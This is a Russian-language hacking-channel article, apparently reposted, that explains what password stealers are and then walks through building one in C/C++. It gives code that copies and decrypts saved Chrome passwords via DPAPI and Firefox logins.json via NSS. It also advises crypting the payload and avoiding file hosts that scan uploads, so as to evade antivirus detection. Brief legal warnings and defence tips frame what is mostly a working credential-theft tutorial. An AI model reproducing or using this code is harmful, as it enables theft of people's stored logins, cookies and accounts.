Все о стиллерах: что это такое и как им пользоваться?

Все о стиллерах: что это такое и как им пользоваться?

Life-Hack [Жизнь-Взлом]/Хакинг

#Обучение

Ты наверняка слышал о таком классе зловредных приложений, как стилеры. Опытные игроки в онлайн-играх знают, что такое стиллер, как не словить его и даже как создать. Однако создание и распространение карается законом, поэтому лучше не заниматься таким. Так что же такое стиллер?

Компьютерный вирус — это программа, способная создавать свои копии, внедрять их в различные объекты или ресурсы компьютерных систем, сетей и производить определенные действия без ведома пользователя.

Стиллер — это вирусное программное обеспечение (ПО), которое используется с целью того, что бы украсть логины и пароли потенциальной жертвы.

Когда инфицированная программа начинает работу, то сначала управление получает вирус. Вирус заражает другие программы, а также выполняет запланированные деструктивные действия. Для маскировки своих действий вирус активизируется не всегда, а лишь при выполнении определенных условий (истечение некоторого времени, выполнение определенного числа операций, наступления некоторой даты или дня недели и т. д.).

Стиллер представляет собой программный код, который служит для хищения паролей и прочих данных с компьютера. Раньше данные отправлялись на сниффер, но сейчас уже активно по Интернету распространены коды, которые отправляют похищенное на почту.

Как защитить себя?

Для начала нужно поставить хороший антивирус, ведь он хоть как-то защищает. Без антивируса вы будете «ловить» все подряд. В Интернете часто пишут, что такое стиллер и как его создать, даже предоставляют программы для их создания. Но зачастую программы не работают, а в них самих есть стиллер. Каждый скачиваемый файл нужно проверить обязательно, чтобы не потерять свои данные. Также существуют программы, которые удаляют стиллер с компьютера. Рекомендуется еще проверять ПК на наличие вирусов с помощью специальных утилит, например, DrWeb Cure It.

В сети интернет мало информации о том, что такое «Стиллеры» и как ими пользоваться. Нужно помнить о том, что они создаются не просто так, ради забавы. Основной их целью является добыча полезной информации с компьютера жертвы для последующей продажи. Создавать и использовать «Стиллер» определенно не стоит, так как за это могут привлечь к ответственности, в том числе и к уголовной. Нужно остерегаться «Стиллера», максимально защитив свой компьютер и не качать файлы с неизвестных источников.

Храните ваши пароли в облаке, пароль от которого вы будете знать на память, это самый надежный способ защитить свои данные. Никогда не сохраняйте пароли и не используйте никакие автозаполнения форм, когда вы например используете обменники валют в автозаполнение могут попасть данные вашей карты, ваш номер телефона и e-mail.

Принцип работы вредоноса

Cтиллеры бывают разные, от разных кодеров с разными возможностями. Они могут воровать все сохраненные вами пароли из всех браузеров, сессию из телеграмма и прочих мессенджеров, куки файлы (для входа на сайты), файлы кошельков популярных криптовалют для дальнейшего их обналичивания, файлы с рабочего стола определенного расширения .doc/.docx/.txt/.log (часто люди хранят файлик с паролями прямо на рабочем столе).

Все эти данные приходят вам в админ-панель от стиллера, где указано с какого IP адреса и имени компьютера это все прилетело. Грубо говоря мы можем забрать все самое ценное, что может быть на компьютере.

После покупки вируса у хакеров вам, как правило, выдают готовую к использованию версию софта с доступом в админ-панель, к тому же дополнительно настраивать уже ничего не нужно. Пример панели на рисунке ниже.

Как создать свой стиллер?

Похищение чужих учетных или других личных данных без надлежащего письменного соглашения карается по закону.

Браузеры в основе которых лежит Chrome или Firefox, хранят логины и пароли пользователей в зашифрованном виде в базе SQLite. Эта СУБД компактна и распространяется бесплатно по свободной лицензии. Так же, как и рассматриваемые нами браузеры: весь их код открыт и хорошо документирован, что, несомненно, поможет нам.

Рекламируя свои продукты, вирусописатели часто обращают внимание потенциальных покупателей на то, что в данный момент их стилер не «палится» антивирусом. Тут надо понимать, что все современные и более-менее серьезные вирусы и трояны имеют модульную структуру, каждый модуль в которой отвечает за что-то свое: один модуль собирает пароли, второй препятствует отладке и эмуляции, третий определяет факт работы в виртуальной машине, четвертый проводит обфускацию вызовов WinAPI, пятый разбирается со встроенным в ОС файрволом.

Так что судить о том, «палится» определенный метод антивирусом или нет, можно, только если речь идет о законченном «боевом» приложении, а не по отдельному модулю.

В чистом виде стиллер никто не распространяет — перед этим его криптуют (процесс наращивание на ваш файл лишней мишуры для избавления от детектов, криптования бывают очень разными. А вообще самый хороший вариант это чистить исходный код, но естественно вам его никто не покажет, если вы пользователь софта, а не его создатель. Услуги криптования стоят примерно 7-15 долларов, если их покупать. Обновлять крипт нужно в зависимости от того как и куда вы льете трафик.

Некоторые сканеры наращивают детекты, а некоторые — нет, но думаю об этом нет смысла писать, так как на момент прочтения информация может быть уже не актуальной. Также важной деталью будет то — что нельзя лить на любой файловый обменник, так как большинство популярных проверяют файлы на вирусы и это добавляет детектов.

Итак! Вернемся к нашим браузерам…

Chrome

Для начала давай получим файл, где хранятся учетные записи и пароли пользователей. В Windows он лежит по такому адресу:

C:\Users\%username%\AppData\Local\Google\Chrome\UserData\Default\Login Data

Чтобы совершать какие-то манипуляции с этим файлом, нужно либо убить все процессы браузера, что будет бросаться в глаза, либо куда-то скопировать файл базы и уже после этого начинать работать с ним.

Давай напишем функцию, которая получает путь к базе паролей Chrome. В качестве аргумента ей будет передаваться массив символов с результатом ее работы (то есть массив будет содержать путь к файлу паролей Chrome).

#define CHROME_DB_PATH  "\\Google\\Chrome\\User Data\\Default\\Login Data"

bool get_browser_path(char * db_loc, int browser_family, const char * location) {
    memset(db_loc, 0, MAX_PATH);
    if (!SUCCEEDED(SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, db_loc))) {
        return 0;
    }

    if (browser_family == 0) {
        lstrcat(db_loc, TEXT(location));
        return 1;
    }
}

Вызов функции:

char browser_db[MAX_PATH];
get_browser_path(browser_db, 0, CHROME_DB_PATH);

Давай вкратце поясню, что здесь происходит. Мы сразу пишем эту функцию, подразумевая будущее расширение. Один из ее аргументов — поле browser_family, оно будет сигнализировать о семействе браузеров, базу данных которых мы получаем (то есть браузеры на основе Chrome или Firefox).

Если условие browser_family == 0 выполняется, то получаем базу паролей браузера на основе Chrome, если browser_family == 1 — Firefox. Идентификатор CHROME_DB_PATH указывает на базу паролей Chrome. Далее мы получаем путь к базе при помощи функции SHGetFolderPath, передавая ей в качестве аргумента CSIDLзначение CSIDL_LOCAL_APPDATA, которое означает:

#define CSIDL_LOCAL_APPDATA 0x001c // <user name>\Local Settings\Applicaiton Data (non roaming)

Функция SHGetFolderPath устарела, и в Microsoft рекомендуют использовать вместо нее SHGetKnownFolderPath. Проблема в том, что поддержка этой функции начинается с Windows Vista, поэтому я применил ее более старый аналог для сохранения обратной совместимости. Вот ее прототип:

HRESULT SHGetFolderPath(      
    HWND hwndOwner,
    int nFolder,
    HANDLE hToken,
    DWORD dwFlags,
    LPTSTR pszPath
);

После этого функция lstrcat совмещает результат работы SHGetFolderPath с идентификатором CHROME_DB_PATH.

База паролей получена, теперь приступаем к работе с ней. Как я уже говорил, это база данных SQLite, работать с ней удобно через SQLite API, которые подключаются с заголовочным файлом sqlite3.h. Давай скопируем файл базы данных, чтобы не занимать его и не мешать работе браузера.

int status = CopyFile(browser_db, TEXT(".\\db_tmp"), FALSE);
if (!status) {
    // return 0;
}

Теперь подключаемся к базе командой sqlite3_open_v2. Ее прототип:

int sqlite3_open_v2(
    const char *filename,   /* Database filename (UTF-8) */
    sqlite3 **ppDb,         /* OUT: SQLite db handle */
    int flags,              /* Flags */
    const char *zVfs        /* Name of VFS module to use */
);

Первый аргумент — наша база данных; информация о подключении возвращается во второй аргумент, дальше идут флаги открытия, а четвертый аргумент определяет интерфейс операционной системы, который должен использовать это подключение к базе данных, в нашем случае он не нужен. Если эта функция отработает корректно, возвращается значение SQLITE_OK, в противном случае возвращается код ошибки.

sqlite3 *sql_browser_db = NULL;

status = sqlite3_open_v2(TEMP_DB_PATH, 
                &sql_browser_db, 
                SQLITE_OPEN_READONLY, 
                NULL);
if(status != SQLITE_OK) {
    sqlite3_close(sql_browser_db);
    DeleteFile(TEXT(TEMP_DB_PATH));

Обрати внимание: при некорректной отработке функции нам все равно необходимо самостоятельно закрыть подключение к базе и удалить ее копию.

Теперь начинаем непосредственно обрабатывать данные в базе. Для этого воспользуемся функцией sqlite3_exec().

status = sqlite3_exec(sql_browser_db, 
            "SELECT origin_url, username_value, password_value FROM logins", 
            crack_chrome_db, 
            sql_browser_db, 
            &err);
if (status != SQLITE_OK)
    return 0;

Эта функция имеет такой прототип:

int sqlite3_exec(
    sqlite3*,                          /* An open database */
    const char *sql,                   /* SQL to be evaluated */
    int (*callback)(void*,int,char**,char**),  /* Callback */
    void *,                            /* 1st argument to callback */
    char **errmsg                      /* Error msg written here */
);

Первый аргумент — наша база паролей, второй — это команда SQL, которая вытаскивает URL файла, логин, пароль и имя пользователя, третий аргумент — это функция обратного вызова, которая и будет расшифровывать пароли, четвертый — передается в нашу функцию обратного вызова, ну а пятый аргумент сообщает об ошибке.

Давай остановимся подробнее на callback-функции, которая расшифровывает пароли. Она будет применяться к каждой строке из выборки нашего запроса SELECT. Ее прототип — int (*callback)(void*,int,char**,char**), но все аргументы нам не понадобятся, хотя объявлены они должны быть. Саму функцию назовем crack_chrome_db, начинаем писать и объявлять нужные переменные:

int crack_chrome_db(void *db_in, int arg, char **arg1, char **arg2) {

DATA_BLOB data_decrypt, data_encrypt;
sqlite3 *in_db = (sqlite3*)db_in;
BYTE *blob_data = NULL;
sqlite3_blob *sql_blob = NULL;

char *passwds = NULL;

while (sqlite3_blob_open(in_db, "main", "logins", "password_value", count++, 0, &sql_blob) != SQLITE_OK && count <= 20 );

В этом цикле формируем BLOB (то есть большой массив двоичных данных). Далее выделяем память, читаем блоб и инициализируем поля DATA_BLOB:

int sz_blob;
int result;

sz_blob = sqlite3_blob_bytes(sql_blob);
dt_blob = (BYTE *)malloc(sz_blob);

if (!dt_blob) {
    sqlite3_blob_close(sql_blob);
    sqlite3_close(in_db);
}

data_encrypt.pbData = dt_blob;
data_encrypt.cbData = sz_blob;

А теперь приступим непосредственно к дешифровке. База данных Chrome зашифрована механизмом Data Protection Application Programming Interface (DPAPI). Суть этого механизма заключается в том, что расшифровать данные можно только под той учетной записью, под которой они были зашифрованы. Другими словами, нельзя стащить базу данных паролей, а потом расшифровать ее уже на своем компьютере. Для расшифровки данных нам потребуется функция CryptUnprotectData.

DPAPI_IMP BOOL CryptUnprotectData(
    DATA_BLOB                 *pDataIn,
    LPWSTR                    *ppszDataDescr,
    DATA_BLOB                 *pOptionalEntropy,
    PVOID                     pvReserved,
    CRYPTPROTECT_PROMPTSTRUCT *pPromptStruct,
    DWORD                     dwFlags,
    DATA_BLOB                 *pDataOut
);

if (!CryptUnprotectData(&data_encrypt, NULL, NULL, NULL, NULL, 0, &data_decrypt)) {
    free(dt_blob);
    sqlite3_blob_close(sql_blob);
    sqlite3_close(in_db);
}

После этого выделяем память и заполняем массив passwds расшифрованными данными.

passwds = ( char *)malloc(data_decrypt.cbData + 1);
memset(passwds, 0, data_decrypt.cbData);

int xi = 0;
while (xi < data_decrypt.cbData) {
    passwds[xi] = (char)data_decrypt.pbData[xi];
    ++xi;
}

Собственно, на этом все! После этого passwds будет содержать учетные записи пользователей и URL. А что делать с этой информацией — вывести ее на экран или сохранить в файл и отправить куда-то его — решать тебе.

Firefox

Переходим к Firefox. Это будет немного сложнее, но мы все равно справимся! Для начала давай получим путь до базы данных паролей. Помнишь, в нашей универсальной функции get_browser_path мы передавали параметр browser_family? В случае Chrome он был равен нулю, а для Firefox поставим 1.

bool get_browser_path(char * db_loc, int browser_family, const char * location) {
    ...
    if (browser_family == 1) {
        memset(db_loc, 0, MAX_PATH);
        if (!SUCCEEDED(SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, db_loc))) {
            // return 0;
        }

В случае с Firefox мы не сможем, как в Chrome, сразу указать путь до папки пользователя. Дело в том, что имя папки пользовательского профиля генерируется случайно. Но это ерундовая преграда, ведь мы знаем начало пути (\\Mozilla\\Firefox\\Profiles\\). Достаточно поискать в нем объект «папка» и проверить наличие в ней файла \\logins.json«. Именно в этом файле хранятся интересующие нас данные логинов и паролей. Разумеется, в зашифрованном виде. Реализуем все это в коде.

lstrcat(db_loc, TEXT(location));

// Объявляем переменные
const char * profileName = "";
WIN32_FIND_DATA w_find_data;
const char * db_path = db_loc;

// Создаем маску для поиска функцией FindFirstFile
lstrcat((LPSTR)db_path, TEXT("*"));

// Просматриваем, нас интересует объект с атрибутом FILE_ATTRIBUTE_DIRECTORY
HANDLE gotcha = FindFirstFile(db_path, &w_find_data);

while (FindNextFile(gotcha, &w_find_data) != 0){
    if (w_find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
        if (strlen(w_find_data.cFileName) > 2) {
            profileName = w_find_data.cFileName;
        }
    }
}
// Убираем звездочку :)
db_loc[strlen(db_loc) - 1] = '\0';

lstrcat(db_loc, profileName); 

// Наконец, получаем нужный нам путь
lstrcat(db_loc, "\\logins.json");

return 1;

В самом конце переменная db_loc, которую мы передавали в качестве аргумента в нашу функцию, содержит полный путь до файла logins.json, а функция возвращает 1, сигнализируя о том, что она отработала корректно.

Теперь получим хендл файла паролей и выделим память под данные. Для получения хендла используем функцию CreateFile, как советует MSDN.

DWORD read_bytes = 8192;
DWORD lp_read_bytes;

char *buffer = (char *)malloc(read_bytes);
HANDLE db_file_login = CreateFileA(original_db_location, 
                GENERIC_READ, 
                FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE, 
                NULL, OPEN_ALWAYS, 
                FILE_ATTRIBUTE_NORMAL,  
                NULL);

ReadFile(db_file_login, buffer, read_bytes, &lp_read_bytes, NULL);

Все готово, но в случае с Firefox все не будет так просто, как с Chrome, — мы не сможем просто получить нужные данные обычным запросом SELECT, да и шифрование не ограничивается одной-единственной функцией WinAPI.

Дополнительная информация: Network Security Services (NSS)

Браузер Firefox активно использует функции Network Security Services для реализации шифрования своей базы. Эти функции находятся в динамической библиотеке, которая лежит по адресу C:\Program Files\Mozilla Firefox\nss3.dll.

Все интересующие нас функции нам придется получить из этой DLL. Сделать это можно стандартным образом, при помощи LoadLibrary\GetProcAdress. Код однообразный и большой, поэтому я просто приведу список функций, которые нам понадобятся:

  • NSS_Init;
  • PL_Base64Decode;
  • PK11SDR_Decrypt;
  • PK11_Authenticate;
  • PK11_GetInternalKeySlot;
  • PK11_FreeSlot.

Это функции инициализации механизма NSS и расшифровки данных. Давай напишем функцию расшифровки, она небольшая. Я добавлю комментарии, чтобы все было понятно.

char * data_uncrypt(std::string pass_str) {
    // Объявляем переменные
    SECItem crypt;  
    SECItem decrypt;
    PK11SlotInfo *slot_info;

    // Выделяем память для наших данных
    char *char_dest = (char *)malloc(8192); 
    memset(char_dest, NULL, 8192);
    crypt.data = (unsigned char *)malloc(8192);
    crypt.len = 8192;
    memset(crypt.data, NULL, 8192);

    // Непосредственно расшифровка функциями NSS
    PL_Base64Decode(pass_str.c_str(), pass_str.size(), char_dest);
    memcpy(crypt.data, char_dest, 8192);
    slot_info = PK11_GetInternalKeySlot();
    PK11_Authenticate(slot_info, TRUE, NULL);
    PK11SDR_Decrypt(&crypt, &decrypt, NULL);
    PK11_FreeSlot(slot_info);

    // Выделяем память для расшифрованных данных
    char *value = (char *)malloc(decrypt.len);
    value[decrypt.len] = 0;
    memcpy(value, decrypt.data, decrypt.len);

    return value;
}

Теперь осталось парсить файл logins.json и применять нашу функцию расшифровки. Для краткости кода я буду использовать регулярные выражения и их возможности в C++ 11.

string decode_data = buffer;

// Определяем регулярки для сайтов, логинов и паролей
regex user("\"encryptedUsername\":\"([^\"]+)\"");
regex passw("\"encryptedPassword\":\"([^\"]+)\"");
regex host("\"hostname\":\"([^\"]+)\"");

// Объявим переменную и итератор
smatch smch;
string::const_iterator pars(decode_data.cbegin());

// Парсинг при помощи regex_search, расшифровка данных нашей
// функцией data_uncrypt и вывод на экран расшифрованных данных
do {
    printf("Site\t: %s", smch.str(1).c_str());
    regex_search(pars, decode_data.cend(), smch, user);
    printf("Login: %s", data_uncrypt(smch.str(1)));

    regex_search(pars, decode_data.cend(), smch, passw);
    printf("Pass: %s",data_uncrypt( smch.str(1)));

    pars += smch.position() + smch.length();

} while (regex_search(pars, decode_data.cend(), smch, host));

Вместо вывода 

Что же такое стиллер, выяснили. Нужно остерегаться этого, защитить свой компьютер, не качать файлы с неизвестных источников. А так же мы разобрались, как хранятся пароли в разных браузерах, и узнали, что нужно делать, чтобы их извлечь. Можно ли защититься от подобных методов восстановления сохраненных паролей? Да, конечно. Если установить в браузере мастер-пароль, то он выступит в качестве криптографической соли для расшифровки базы данных паролей.

Источник


Report Page